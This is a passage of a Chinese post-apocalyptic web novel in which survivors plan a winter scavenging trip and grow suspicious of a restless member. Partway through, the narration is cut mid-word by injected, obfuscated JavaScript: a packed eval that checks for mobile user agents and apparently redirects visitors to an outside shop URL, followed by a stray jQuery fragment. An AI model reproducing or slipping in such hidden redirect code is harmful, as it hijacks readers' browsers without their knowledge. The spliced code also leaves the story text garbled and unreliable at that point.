赵泓到现在也想不明白程哥为什么要以那种方式离开,他还反思了,会不会是他和老程哪里做错了,会不会是无意间拖累了程哥,会不会是程哥遇上了什么他们不知道的难处。
但反思的结果是,程哥就是要走,可能就是没有理由。
这不是他亲哥,但也没差别了,他到现在都没法接受,更何况程望安?
如果他俩没有追上去要个说法,或许后面的一切都不会发生。
他抬起头,难得有些茫然地看了江岚一眼:“你说,你要是遇上这种情况,你会怎么做?”
“追上去,先打一顿。”江岚说,没有犹豫,“我和人打架基本都是因为这个。也有打死的,我们互殴,都打急眼了,什么也顾不上了。”
“…那你是这个。”赵泓竖起大拇指。
“遇到这种情况,一般活下来才是侥幸,要么是被别人的背叛害死,要么是和人直接发生冲突死了。你要是说抛不下亲缘,我也理解,但你们现在是一朝被蛇咬,十年怕井绳。其他人我不太了解,但朱姐和小唐很信任你们,她们的自保能力,说实话,很一般,你们怕自己的信任被辜负所以对人对事都睁一只眼闭一只眼,可你们为了自己心安理得也在辜负她们俩的信任。你们想当好人就当彻底,半吊子好人往往比朴素的坏人更可怕,别害人害己。”
江岚说完,似乎这一幕有点熟悉,才想起来上次魏元死时,她也长篇大论安慰了一通程望安。
要不说他们是好朋友呢,永远在一个地方跌倒,然后两眼一闭天下太平,从不解决问题。
赵泓低着头,过了很长一段时间,才闷声道:“程望安说得和你学习一下心态,我还寻思,至于吗…好像有点至于。”
“哈?”江岚没忍住笑了出来,她还是头一次听人当面说要向她学习的,还是学这种虚无缥缈的东西。
“没啥。”赵泓以为她没听清,说出这种话又有点肉麻,就连忙假装什么都没发生,“过两天得出门囤冬天的物资了,你去吗?你冬天在哪过?”
江岚忍着嘴角抽动,程望安和赵泓真是两个极端,程望安开口八百次都没问出来的问题,赵泓一下就秃噜出来了。
“没有意外的话,我在。可以吗?”
“当然,欢迎啊!”赵泓早就不觉得江岚是个麻烦了,一个果敢的好人胜过一支人心涣散的队伍。
“但是最近的话,应该很多人都会出门,和其他据点的人碰上的几率很大,你们有熟悉又人少的地方可去吗?”
“这个…”赵泓认真在脑子里搜寻记忆,“城东南那边,居民楼比较多,去那捡个漏?实在不行就再往远处走走,咱们这儿厚衣服不多,之前有些衣服内料变质了不能用了,得多囤点取暖的东西,最好再搞点肉回来腌腌,存放时间比较长。还有…”
两个人也不太困,说到了天明,列了一个长长的清单。
居民区不同于别处,狭窄的构造天然利于躲避却不便于逃跑,但依旧吸引了一批又一批走投无路的人去留宿和寻找资源。尽管灰潮已经持续了很久,那里还是很可能找到能用东西的地方。
这也就意味着,他们要准备得更加完备,最好精确到一人在做什么时其他人去注意哪些情况。
等众人都醒了,赵泓和其他人讲了计划出行的事,也顺便一提孔军孔朋的出走。
这样突然的离开让所有人都很惊讶,毕竟那哥俩一点征兆也没有,正常吃饭,正常维护厂里的安全,也从没有过抱怨。
“还能因为啥?被魏元的死吓走了呗。”褚富嗤了一声,语气里带着一种近乎刻薄的笃定,张文枫在旁边沉默地用胳膊肘杵了他一下,示意他少说两句。
这种话说出来没好处。魏元的死本来就像一根卡在所有人喉咙里的刺,一旦被挑开,并不会轻松,只会让恐慌重新蔓延。
可褚富显然不在乎。他压着一股火,早就有了要走的心,那两个人就这么带着“自己的东西”走了,现在也顾不上别的了,他看着赵泓愤愤不平道:“你凭什么让他们还带走东西了!那是我们大家伙的,凭什么不征求我们的意见!”
程望安靠在墙边,坐姿松散,脑袋轻轻搭在拐杖上,像是困得随时能睡过去:“一早说好的规矩,想走没问题,带走自己捡来的东西也很正常。”
“…可是要秋冬了!不得优先集体吗!”
“所以我们在商量出门囤冬货的事了。”
褚富还要说什么,被谭鸣凯和严林良打马虎眼拦了下来。
孔家兄弟和谁都没有太熟悉的,就是点头之交,那么多次的集体活动也没能让他们热络起来,说明人家早就想走了,何必再纠结已经走了的人呢?
“赵泓你接着说,城东南的居民区,然后呢?破门的声音会不会引来畸变体啊?”
“这个…其实那边很多门户早就被破坏过了,现在是纯看运气的年代,把能用的上的都带回来就行了,别因小失大。”赵泓看着自己临时画出来的地图,有点看不过眼,又抬头说道,“不过也不用太紧张,实在不行咱们也可以和其他据点的人合作,去年不就有过一次临时的吗?今年江岚还可以去找城南的人,囤货肯定是没问题的。”
“…也成吧,我没意见。”谭鸣凯带头同意,严林良和姜诚胜也点了头。
褚富闹事脾气没闹起来,看着其他人的眼色,只好随大流,先商量好出行的事。
居民聚集区范围很大,建筑密集,这次还是分成两组地毯式搜索。
江岚、沈平康、严林良、褚富和张文枫一组,赵泓、谭鸣凯、朱辰丽和姜诚胜一组,人多的负责门户密集、物资可能更集中的区域,人少的去撤离路径更清晰的地带,外出最多两天,尽可能走到更大的范围。
散会后,众人又各自去准备。
每次出门都是会紧张的,这种情绪并不会因为次数多了就变淡,谁也说不准这是不是最后一次和留守在据点的人说话,没有人例外。
屋外的风比前几天更冷了一点,新陆市的秋天向来短促,每年都要让人感慨一次。
江岚把围巾往上拉了拉,遮住半张脸,呼出的气很快散进灰白的空气里。
“诶。”沈平康故意拖慢脚步,和压后的江岚站到一起,警惕着盯着走在前面的三个人。
“干嘛?”
“这个褚富,和你有什么过节吗?”
“怎么这么问?”
“我这几天觉得他不对劲,他有事没事就盯着你看,还是偷偷摸摸的?”
就在沈平康说这话的时候,褚富正好侧过头往后扫了一眼,然后极快地移开视
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493193|202338||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
线。沈平康立刻用手肘轻轻顶了江岚一下,压着声音:“你看!”
“他的事,确实有点意思。”江岚并没有惊讶。
“他的事?什么事?”沈平康听她这话的意思,好像不是在讲一件事,“我跟你说,褚富这人不老实,他肯定也是想走的。要不是之前孔家那俩突然跑了,我看现在不在这儿的就是他了,还有那个和他走的很近的张文枫!”
江岚漫不经心道:“这么肯定?”
“当然啊!这种眼神、这种状态,我可太熟悉了!”
“前辈啊。”
“这是说我的时候吗!”沈平康感觉江岚没把自己说的话当回事,立马就急了,严林良都回头看了他俩一眼,他只好更小声说道,“这次出门得防着点他们,不然谁知道他们会搞什么小动作!”
江岚没立刻回答。
风从街道尽头灌过来,卷起地上的灰尘和碎纸,发出细碎的摩擦声。
“在外面的时候就睁一只眼闭一只眼吧,不然狗急跳墙,对谁都不好。”
沈平康怪异地看了她一眼:“怎么有点耳熟呢?”
“…等这趟回去再说,今天别发作。”江岚隐隐觉得自己讲话好像被某种无形的力量影响了,暗暗小骂了一下窝囊的源头。
居民区像是被掏空过的壳。
路上散着破碎的玻璃,还有几具早就干瘪的遗骸。远处高一点的楼窗户大多黑洞洞的,像一排排失去光的眼睛。
“那就按之前说好的路线走。”严林良看着程望安的手绘地图,“先从外围那几栋开始。”
江岚点头,她的目光不断在两侧游走,习惯性地记下能藏身的入口、可以翻越的矮墙,还有那些可能被忽略的死角。
她也曾是这边的常客,大约是在进到崖顶之前。那时候还能捡到些有用的东西,只是不知道现在还会不会那么幸运。
第一栋楼就在街口。
单元门已经被砸开,门框歪斜,铁皮上布满了破旧的撞击痕迹。显然,这里早就被人光顾过不止一次。
楼道的空气中弥漫着一股陈旧的霉味,夹杂着某种说不清的腐败气息。
严林良走在最前面,脑门上出了一层虚汗,正要往上走,江岚抢在了他前面。
虽然大致感受了一圈,这栋楼里没有活物,但看他们草木皆兵的样子,实在不适合打头阵。
底层的几户门都开着,屋里基本被翻空了,地上只剩下一些没人要的杂物。
“厨房。”江岚轻声提醒。
橱柜角落、吊柜上层,这种地方往往会漏下一些东西,但也仅仅是慌乱中被人遗落的一点点。
就这样搜了两栋楼,连一个背包都没有装满。
“我说,这样效率太慢了,我们得分开啊。”褚富很久没做过收获这么少的拾荒了,眼看着时间一分一秒过去,他可不想睡在这里,连跑都费劲。
“咱们一共五个人,还分?”沈平康立刻怼了回去。
“你们两个,我们三个,一层楼分开找,这样还怕?”褚富早看出来了,沈平康现在听江岚的,江岚不让,沈平康绝不会动手,所以他也不怕了。
眼见着又要吵起来,江岚赶紧对严林良说道:“我先去检查一下下栋楼,要是没问题,我们就按褚富说的做。”